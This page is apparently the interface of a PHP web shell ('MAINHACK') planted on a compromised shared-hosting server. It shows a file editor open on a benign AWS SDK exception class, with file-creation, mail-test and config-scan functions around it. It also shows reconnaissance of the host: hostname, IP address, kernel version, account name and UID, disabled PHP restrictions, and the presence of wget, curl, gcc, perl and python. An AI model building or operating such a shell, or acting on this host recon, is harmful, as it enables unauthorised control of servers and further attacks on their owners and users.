[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: S3MultipartUploadException.php
<?php namespace Aws\S3\Exception; use Aws\CommandInterface; use Aws\Exception\AwsException; use Aws\Multipart\UploadState; class S3MultipartUploadException extends \Aws\Exception\MultipartUploadException { /** @var string Bucket of the transfer object */ private $bucket; /** @var string Key of the transfer object */ private $key; /** @var string Source file name of the transfer object */ private $filename; /** * @param UploadState $state Upload state at time of the exception. * @param \Exception|array $prev Exception being thrown. Could be an array of * AwsExceptions being thrown when uploading parts * for one object, or an instance of AwsException * for a specific Multipart error being thrown in * the MultipartUpload process. */ public function __construct(UploadState $state, $prev = null) { if (is_array($prev) && $error = $prev[key($prev)]) { $this->collectPathInfo($error->getCommand()); } elseif ($prev instanceof AwsException) { $this->collectPathInfo($prev->getCommand()); } parent::__construct($state, $prev); } /** * Get the Bucket information of the transfer object * * @return string|null Returns null when 'Bucket' information * is unavailable. */ public function getBucket() { return $this->bucket; } /** * Get the Key information of the transfer object * * @return string|null Returns null when 'Key' information * is unavailable. */ public function getKey() { return $this->key; } /** * Get the source file name of the transfer object * * @return string|null Returns null when metadata of the stream * wrapped in 'Body' parameter is unavailable. */ public function getSourceFileName() { return $this->filename; } /** * Collect file path information when accessible. (Bucket, Key) * * @param CommandInterface $cmd */ private function collectPathInfo(CommandInterface $cmd) { if (empty($this->bucket) && isset($cmd['Bucket'])) { $this->bucket = $cmd['Bucket']; } if (empty($this->key) && isset($cmd['Key'])) { $this->key = $cmd['Key']; } if (empty($this->filename) && isset($cmd['Body'])) { $this->filename = $cmd['Body']->getMetadata('uri'); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285